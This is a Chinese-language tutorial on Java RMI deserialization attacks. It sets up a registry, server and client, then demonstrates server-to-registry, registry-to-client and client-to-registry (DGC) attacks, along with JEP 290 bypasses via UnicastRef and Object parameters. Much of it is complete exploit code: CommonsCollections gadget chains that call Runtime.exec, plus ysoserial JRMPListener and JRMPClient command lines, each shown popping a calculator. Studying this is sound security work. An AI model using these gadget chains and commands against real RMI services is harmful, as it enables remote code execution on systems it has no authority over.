JAVA RMI反序列化知识详解

JAVA RMI反序列化知识详解

JAVA RMI反序列化知识详解

RMI主要分为三部分

  • RMI Registry注册中心
  • RMI Client 客户端
  • RMI Server服务端

三、RMI的实现

注册中心代码

创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {     public String sayHello(String from) throws java.rmi.RemoteException; } 

创建注册中心代码

import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; ​ public class Registry {     public static void main(String[] args) {         try {             LocateRegistry.createRegistry(1099);         } catch (RemoteException e) {             e.printStackTrace();         }         while (true) ;     } } 

服务端代码

先创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {     public String sayHello(String from) throws java.rmi.RemoteException; } 

继承UnicastRemoteObject类,实现上面的接口

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {     public HelloImpl() throws java.rmi.RemoteException {         super();     } ​     public String sayHello(String from) throws java.rmi.RemoteException {         System.out.println("Hello from " + from + "!!");         return "sayHello";     } } 

写服务端的启动类,用于创建远程对象注册表和注册远程对象

public class HelloServer {     public static void main(String[] args) {         try {             Registry registry = LocateRegistry.getRegistry(1099);             registry.bind("hello", new HelloImpl());         } catch (RemoteException e) {             e.printStackTrace();         } catch (AlreadyBoundException e) {             e.printStackTrace();         }     } } 

客户端代码

创建接口类

public interface HelloInterface extends java.rmi.Remote {     public String sayHello(String from) throws java.rmi.RemoteException; } 

连接注册服务 查找hello对象

public class HelloClient {     public static void main(String[] args) {         try {             Registry registry = LocateRegistry.getRegistry(1099);             HelloInterface hello = (HelloInterface) registry.lookup("hello");             System.out.println(hello.sayHello("flag"));         } catch (NotBoundException | RemoteException e) {             e.printStackTrace();         }     } } 

启动服务端之后,在启动客户端看下.

服务端输出了

JAVA RMI反序列化知识详解

客户端输出了 JAVA RMI反序列化知识详解

四、攻击方法

服务端攻击注册中心

从第一张图可以看到服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget看下

修改服务端代码

public class HelloServer {     public static void main(String[] args) throws Exception {         try { ​             Transformer[] transformers = new Transformer[]{                     new ConstantTransformer(Runtime.class),                     new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"}),             };             Transformer transformer = new ChainedTransformer(transformers);             Map innerMap = new HashMap();             Map ouputMap = LazyMap.decorate(innerMap, transformer); ​             TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");             BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); ​             Field field = badAttributeValueExpException.getClass().getDeclaredField("val");             field.setAccessible(true);             field.set(badAttributeValueExpException, tiedMapEntry); ​             Map tmpMap = new HashMap();             tmpMap.put("pwn", badAttributeValueExpException);             Constructor<?> ctor = null;             ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);             ctor.setAccessible(true);             InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);             Remote remote = Remote.class.cast(Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));             Registry registry = LocateRegistry.getRegistry(1099);             registry.bind("hello1", remote);         } catch (Exception e) {             e.printStackTrace();         }     } } 

在服务端执行这段代码 注册中心计算器会弹出,这段代码就是ysoserial工具的RMIRegistryExploit代码,debug看下注册中心执行过程

触发反序列化操作位置

sun.rmi.registry.RegistryImpl_Skel#dispatch

JAVA RMI反序列化知识详解

调用栈

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 736237439 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang) 

注册中心攻击客户端

首先借助ysoserial项目启动一个JRMP服务端执行命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后直接启动上面客户端的代码,会发现计算器直接被弹出,debug看下客户端代码

代码位置 sun.rmi.registry.RegistryImpl_Stub#lookup

JAVA RMI反序列化知识详解

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.

客户端攻击注册中心

1.直接启动上面的注册中心代码

2.借助ysoserial项目JRMPClient攻击注册中心命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections5 "open /Applications/Calculator.app"

执行完命令后计算器直接弹出来了,原因是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

debug注册中心代码看下。

sun.rmi.transport.DGCImpl_Skel#dispatch

JAVA RMI反序列化知识详解

可以看到这里进行了反序列化操作。

列下调用栈

dispatch:-1, DGCImpl_Skel (sun.rmi.transport) oldDispatch:411, UnicastServerRef (sun.rmi.server) dispatch:272, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:568, TCPTransport (sun.rmi.transport.tcp) run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 286880721 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1) doPrivileged:-1, AccessController (java.security) run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang) 

JEP290

JDK6u141JDK7u131JDK 8u121 加入了JEP 290限制,JEP 290过滤策略有

进程级过滤器

可以将进程级序列化过滤器作为命令行参数(“-Djdk.serialFilter =”)传递,或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。

自定义过滤器

可以使用自定义过滤器来重写特定流的进程级过滤器

内置过滤器

JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单,即只允许反序列化特定类。

这里我把jdk版本换成jdk1.8.0_181,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:

信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a

debug看下

sun.rmi.registry.RegistryImpl#registryFilter

private static Status registryFilter(FilterInfo var0) {         if (registryFilter != null) {             Status var1 = registryFilter.checkInput(var0);             if (var1 != Status.UNDECIDED) {                 return var1;             }         } ​         if (var0.depth() > 20L) {             return Status.REJECTED;         } else {             Class var2 = var0.serialClass();             if (var2 != null) {                 if (!var2.isArray()) {                     return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;                 } else {                     return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;                 }             } else {                 return Status.UNDECIDED;             }         }     } 

白名单列表:

  • String.class
  • Number.class
  • Remote.class
  • Proxy.class
  • UnicastRef.class
  • RMIClientSocketFactory.class
  • RMIServerSocketFactory.class
  • ActivationID.class
  • UID.class

调用栈

registryFilter:427, RegistryImpl (sun.rmi.registry) checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2) filterCheck:1239, ObjectInputStream (java.io) readProxyDesc:1813, ObjectInputStream (java.io) readClassDesc:1748, ObjectInputStream (java.io) readOrdinaryObject:2042, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 

UnicastRef对象

用UnicastRef对象新建一个RMI连接绕过JEP290的限制,看下ysoserial的JRMPClient的payload

JAVA RMI反序列化知识详解

这几行代码会向指定的RMI Registry发起请求,并且在白名单列表里面,在看下服务端和客户端调用。LocateRegistry.getRegistry方法的代码。

代码位置 java.rmi.registry#getRegistry

JAVA RMI反序列化知识详解

和payload发起RMI Registry请求代码是一样的。

先用ysoserial启动RMI registry java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后把这个payload放在服务端bind看下

ObjID id = new ObjID(new Random().nextInt()); // RMI registry             TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);             UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));             RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);             Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{                     Registry.class             }, obj);             registry.bind("hello", proxy); 

在服务端执行RMI registry的计算器就弹出来了,debug RMI registry代码看下.

调用栈

read:291, LiveRef (sun.rmi.transport) readExternal:489, UnicastRef (sun.rmi.server) readObject:455, RemoteObject (java.rmi.server) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) defaultReadFields:2287, ObjectInputStream (java.io) readSerialData:2211, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io) dispatch:76, RegistryImpl_Skel (sun.rmi.registry) oldDispatch:468, UnicastServerRef (sun.rmi.server) dispatch:300, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 168016515 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 

原理就是利用在白名单的UnicastRef类来发起一个RMI连接,在高版本jdk下ysoserial的JRMPListener依然可以利用.

用Object绕JEP290限制

JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。

先把接口都新增一个sayPayload的方法,参数都是Object类型的

import java.rmi.Remote; ​ public interface HelloInterface extends java.rmi.Remote {     public String sayHello(String from) throws java.rmi.RemoteException;     public Object sayPayload(Object from) throws java.rmi.RemoteException; } 

在把服务端HelloImpl代码改下,去实现这个方法。

import java.rmi.server.UnicastRemoteObject; ​ public class HelloImpl extends UnicastRemoteObject implements HelloInterface {     public HelloImpl() throws java.rmi.RemoteException {         super();     } ​     public String sayHello(String from) throws java.rmi.RemoteException {         System.out.println("Hello from " + from + "!!");         return "sayHello";     } ​     public Object sayPayload(Object from) throws java.rmi.RemoteException {         System.out.println("Hello from " + from + "!!");         return null;     } } 

客户端在调用这个sayPayload方法时直接传payload看下

public class HelloClient {     public static void main(String[] args) {         try {             Registry registry = LocateRegistry.getRegistry(1099);             HelloInterface hello = (HelloInterface) registry.lookup("hello1"); ​             Transformer[] transformers = new Transformer[]{                     new ConstantTransformer(Runtime.class),                     new InvokerTransformer("getMethod",                             new Class[]{String.class, Class[].class},                             new Object[]{"getRuntime", new Class[0]}),                     new InvokerTransformer("invoke",                             new Class[]{Object.class, Object[].class},                             new Object[]{null, new Object[0]}),                     new InvokerTransformer("exec",                             new Class[]{String.class},                             new Object[]{"open /Applications/Calculator.app"})             };             Transformer transformerChain = new ChainedTransformer(transformers);             Map innerMap = new HashMap();             Map lazyMap = LazyMap.decorate(innerMap, transformerChain);             TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");             BadAttributeValueExpException poc = new BadAttributeValueExpException(null);             Field valfield = poc.getClass().getDeclaredField("val");             valfield.setAccessible(true);             valfield.set(poc, entry);                          hello.sayPayload(poc);         } catch (Exception e) {             e.printStackTrace();         }     } } 

执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值 客户端计算器也会弹出。

看下反序列化的地方

sun.rmi.server.UnicastRef#marshalValue

JAVA RMI反序列化知识详解

调用栈

marshalValue:290, UnicastRef (sun.rmi.server) dispatch:367, UnicastServerRef (sun.rmi.server) run:200, Transport$1 (sun.rmi.transport) run:197, Transport$1 (sun.rmi.transport) doPrivileged:-1, AccessController (java.security) serviceCall:196, Transport (sun.rmi.transport) handleMessages:573, TCPTransport (sun.rmi.transport.tcp) run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 316535884 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 

在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路

  • 将java.rmi包的代码复制到新包,并在新包中修改相应的代码
  • 将调试器附加到正在运行的客户端,并在序列化之前替换这些对象
  • 使用诸如Javassist这样的工具修改字节码
  • 通过实现代理替换网络流上已经序列化的对象

我这里使用第三个方法,由afanti师傅实现的通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget。不熟悉RASP的先要去了解下。

我这里使用CommonsCollections5这条链,Hook invokeRemoteMethod函数。

JAVA RMI反序列化知识详解

客户端代码还是不变

public class Client {     public static void main(String[] args) throws Exception {         Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);         HelloInterface hello = ( HelloInterface ) registry.lookup("hello1");         hello.sayHello("xxx");     } } 

VM options参数填写rasp jar对应的地址 JAVA RMI反序列化知识详解

然后直接运行

JAVA RMI反序列化知识详解

控制台会抛出一个错误 随后计算器也直接弹出来了.

debug看下可以看到

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 这里args参数的值已经修改为CommonsCollections5的gadget了. JAVA RMI反序列化知识详解

五、总结

RMI数据传输都是基于序列化数据传输,RMI Registry、Client、Server都能相互攻击,在你攻击别人的时候 可能也会被人攻击。

参考链接

https://www.anquanke.com/post/id/200860#h2-3

https://xz.aliyun.com/t/7264#toc-2

https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

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